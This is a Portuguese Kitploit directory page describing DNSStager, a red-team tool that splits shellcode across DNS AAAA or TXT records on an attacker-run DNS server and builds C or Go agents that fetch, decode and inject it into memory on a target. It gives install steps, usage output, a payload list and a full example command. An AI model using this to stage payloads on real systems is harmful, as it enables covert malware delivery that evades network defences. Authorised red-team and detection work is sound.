Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
DNSStager — Esconda seu payload no DNS | Kitploit
Ferramentas/GitHubGitHub/mhaskar/dnsstager
Geração de PayloadsExploraçãoComando e ControleRed TeamingDesenvolvimento de PayloadsAnálise de DNS
GitHubmhaskar/dnsstager

DNSStager

Esconda seu payload no DNS

Ver Repositório
622133há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

O que é DNSStager?

DNSStager é um projeto open-source baseado em Python usado para ocultar e transferir seu payload usando DNS.

O DNSStager criará um servidor DNS malicioso que lida com requisições DNS para o seu domínio e retorna seu payload como resposta a requisições de registros específicos, como registros AAAA ou TXT, após dividi-lo em partes e codificar o payload usando diferentes algoritmos.

O DNSStager pode gerar um agente customizado escrito em C ou GoLang que resolverá uma sequência de domínios, recuperará o payload, o decodificará e, finalmente, o injetará na memória com base em qualquer técnica que você desejar.

Você pode editar o código do agente DNSStager como desejar e compilá-lo usando suas próprias técnicas de execução customizadas.

O principal objetivo do uso do DNSStager é ajudar red teamers/pentesters a entregar seus payloads de forma furtiva usando DNS.

Como funciona?

Com base na sua opção de resolução DNS, o DNSStager dividirá seu payload em partes e salvará cada parte do payload como resposta para um subdomínio.

Por exemplo, se você escolher IPV6 como sua opção para recuperar o payload, a resposta DNS será algo como:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

Onde 5648:31d2:6548:8b52:6048:8b52:1848:8b52 é uma parte do seu payload.

Assim, o agente resolverá alguns domínios para recuperar o payload, depois o decodificará e, finalmente, o injetará na memória.

Atualmente, o DNSStager suporta apenas dois registros, AAAA e TXT. Você pode codificar seu payload usando XOR para o registro AAAA e, por padrão, ele será codificado como base64 se você escolher o registro TXT.

Principais características do DNSStager:

O DNSStager possui algumas características importantes, como:

  • Ocultar e resolver seu payload em registros IPV6.
  • Ocultar e resolver seu payload em registros TXT.
  • Codificador XOR para codificar seu payload.
  • Codificador Base64 para codificar seu payload (apenas para registros TXT).
  • Agente puro escrito em C com a capacidade de personalizá-lo.
  • Agente puro escrito em GoLang com a capacidade de personalizá-lo.
  • A capacidade de usar pausa entre cada requisição DNS.
  • E MUITO MAIS POR VIR!

Requisitos

Você pode instalar os requisitos Python do DNSStager via:

pip3 install -r requirements.txt

Você precisa instalar o GoLang versão 1.16.3 e certificar-se de instalar os seguintes pacotes GoLang:

  • golang.org/x/sys
  • github.com/miekg/dns

Além disso, certifique-se de instalar o ming-w64 via:

apt install mingw-w64

O script setup.sh deve fazer isso para você, mas verifique os requisitos antes de usá-lo!

Instalação

Para obter a versão mais recente do DNSStager, clone este repositório usando o seguinte comando:

git clone https://github.com/mhaskar/DNSStager

Em seguida, instale os requisitos usando o seguinte comando:

pip3 install -r requirements.txt

E certifique-se de instalar também todos os requisitos mencionados anteriormente.

Depois de fazer tudo isso, você está pronto para executar o DNSStager como root para obter o seguinte:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
██████  ███    ██ ███████ ███████ ████████  █████   ██████  ███████ ██████  
██   ██ ████   ██ ██      ██         ██    ██   ██ ██       ██      ██   ██ 
██   ██ ██ ██  ██ ███████ ███████    ██    ███████ ██   ███ █████   ██████  
██   ██ ██  ██ ██      ██      ██    ██    ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ████ ███████ ███████    ██    ██   ██  ██████  ███████ ██   ██ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Hide your payload in DNS
    
[-] Please specify a domain name using --domain

Uso

Para começar a usar o DNSStager, primeiro configure suas configurações de DNS. Você precisa fazer com que seu domínio aponte para a instância do DNSStager como registro NS para lidar com todas as requisições DNS para o seu domínio.

Você pode ler este artigo completo sobre como configurar e usar o DNSStager.

E você pode verificar as opções usando a opção -h da seguinte forma:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
  --format FORMAT       payload format (.dll or .exe)
  --tcp                 Start and use the DNS server via TCP protocol
  • --domain: você pode usar esta opção para selecionar o domínio principal que usará para lidar com as requisições DNS.

  • --prefix: O prefixo que você deseja usar para o esquema de subdomínio. Por exemplo, se seu domínio principal é fakedns.live, você pode especificar o prefixo como "cdn", por exemplo. Assim, os domínios gerados seguirão o seguinte padrão:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

Onde N é um número gerado automaticamente que representa o número de partes do seu payload.

  • --payload: o payload "agente" do DNSStager que você deseja gerar com base na técnica, linguagem de programação e arquitetura.

  • --output: Caminho de saída para salvar o payload "agente" executável do DNSStager.

  • --shellcode_path: O caminho do seu shellcode raw/bin.

  • --xorkey: Chave XOR para codificar o payload.

  • --sleep: Usado para pausar por N segundos entre cada requisição DNS.

  • --tcp: Iniciar e usar o servidor DNS via protocolo TCP

Payloads do DNSStager

Para verificar os payloads disponíveis do DNSStager, use ./dnsstager.py --payloads para obter os seguintes resultados:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 DNSStager payloads Available

x64/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

Exemplo de uso do DNSStager com IPV6

Este exemplo iniciará o DNSStager para resolver seu payload como IPV6 usando o domínio test.mydnsserver.live com prefixo cloud-srv- para gerar um agente x64 C compilado codificado com 0x10 como chave:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

E a saída será:

Alt text

E para verificar se tudo está funcionando bem, vamos enviar uma consulta DNS para cloud-srv-0.test.mydnsserver.live para obter o seguinte:

Alt text

Podemos ver que recebemos f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b como resposta, que são os primeiros 16 bytes do nosso payload codificado.

Em seguida, você pode executar o agente /tmp/a2.exe (conforme definido usando --output na linha de comando) na máquina alvo e isso fará o download de todas as partes necessárias, as decodificará e as injetará na memória para você.

Recursos

  • DNSStager v1.0 stable: stealthier code, DLL agent & much more.
  • Unveiling DNSStager: A tool to hide your payload in DNS.

Licença

Este projeto está licenciado sob a Licença GPL-3.0 - consulte o arquivo LICENSE para mais detalhes.

Baixar ferramenta